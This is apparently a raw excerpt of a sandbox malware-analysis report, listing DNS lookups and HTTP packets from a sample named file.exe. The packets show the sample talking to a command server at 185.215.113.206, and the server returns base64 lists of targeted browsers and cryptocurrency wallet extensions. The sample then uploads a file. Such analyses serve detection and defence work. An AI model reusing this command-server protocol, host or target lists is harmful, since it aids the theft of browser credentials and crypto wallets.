Nov 12, 2024 04:16:25.187486887 CET	1.1.1.1	192.168.2.5	0x243	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:25.851330042 CET	1.1.1.1	192.168.2.5	0x3992	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:25.851330042 CET	1.1.1.1	192.168.2.5	0x3992	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.225	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.851841927 CET	1.1.1.1	192.168.2.5	0x5ac	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:27.104044914 CET	1.1.1.1	192.168.2.5	0x27fb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.104044914 CET	1.1.1.1	192.168.2.5	0x27fb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.104108095 CET	1.1.1.1	192.168.2.5	0xc91c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 04:16:27.104646921 CET	1.1.1.1	192.168.2.5	0xd9a6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.104646921 CET	1.1.1.1	192.168.2.5	0xd9a6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.105074883 CET	1.1.1.1	192.168.2.5	0xdbc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 04:16:27.159972906 CET	1.1.1.1	192.168.2.5	0xff5d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.159972906 CET	1.1.1.1	192.168.2.5	0xff5d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.160057068 CET	1.1.1.1	192.168.2.5	0x8e28	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 04:16:27.375284910 CET	1.1.1.1	192.168.2.5	0x7e14	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:27.375284910 CET	1.1.1.1	192.168.2.5	0x7e14	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:16:04.387649059 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:16:05.318238020 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:16:05.322010994 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="build"mars------FBKJKEHIJECGCBFIJEGI--
Nov 12, 2024 04:16:05.616969109 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 32 45 79 4d 44 42 68 5a 6d 51 78 59 6d 55 79 4e 54 68 69 4d 6d 49 33 5a 54 42 6d 4d 54 49 32 5a 6d 56 6c 4e 6d 59 35 5a 57 55 33 4f 44 55 77 4e 6a 49 34 5a 6d 4e 69 4e 32 56 6c 4e 44 4d 35 4d 54 6b 77 4d 7a 6b 77 4e 57 51 32 4e 44 4d 77 4e 6a 51 77 4d 44 51 78 59 32 45 31 5a 6a 4a 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Y2EyMDBhZmQxYmUyNThiMmI3ZTBmMTI2ZmVlNmY5ZWU3ODUwNjI4ZmNiN2VlNDM5MTkwMzkwNWQ2NDMwNjQwMDQxY2E1ZjJlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 04:16:05.618165970 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="message"browsers------BGIJDGCAEBFIIECAKFHI--
Nov 12, 2024 04:16:05.902883053 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 04:16:05.902901888 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 04:16:05.904261112 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="message"plugins------JEHIJJKEGHJJKECBKECF--
Nov 12, 2024 04:16:06.189590931 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 04:16:06.189615965 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 12, 2024 04:16:06.189625978 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 12, 2024 04:16:06.189637899 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 12, 2024 04:16:06.189650059 CET	424	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 12, 2024 04:16:06.189683914 CET	1236	IN	Data Raw: 5a 47 5a 74 62 57 46 6f 61 47 4a 71 5a 57 5a 6a 59 6d 64 68 62 32 78 6f 61 47 46 75 62 47 46 76 62 47 4a 38 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 Data Ascii: ZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWh
Nov 12, 2024 04:16:06.189697027 CET	1236	IN	Data Raw: 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 Data Ascii: amJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGV
Nov 12, 2024 04:16:06.189733028 CET	424	IN	Data Raw: 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 Data Ascii: a3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJ
Nov 12, 2024 04:16:06.190119982 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 12, 2024 04:16:06.191776991 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="message"fplugins------CGHDAKKJJJKJKECBGCGD--
Nov 12, 2024 04:16:06.477780104 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 04:16:06.527801991 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGI Host: 185.215.113.206 Content-Length: 7159 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:16:06.527859926 CET	7159	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 04:16:07.331769943 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
